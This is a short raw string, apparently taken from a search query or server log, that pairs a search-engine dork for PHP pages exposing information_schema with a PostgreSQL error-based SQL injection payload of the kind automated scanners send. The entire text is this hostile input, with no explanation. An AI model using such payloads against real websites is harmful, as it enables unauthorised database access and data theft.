3.6955inurl index php db information schema'""'' and 4812=cast((chr(113)||chr(106)||chr(118)||chr(112)||chr(113))||(select (case when (4812=4812) then 1 else 0 end))::text||(chr(113)||chr(112)||chr(112)||chr(113)||chr(113)) as numeric) and 'hugm'='hugm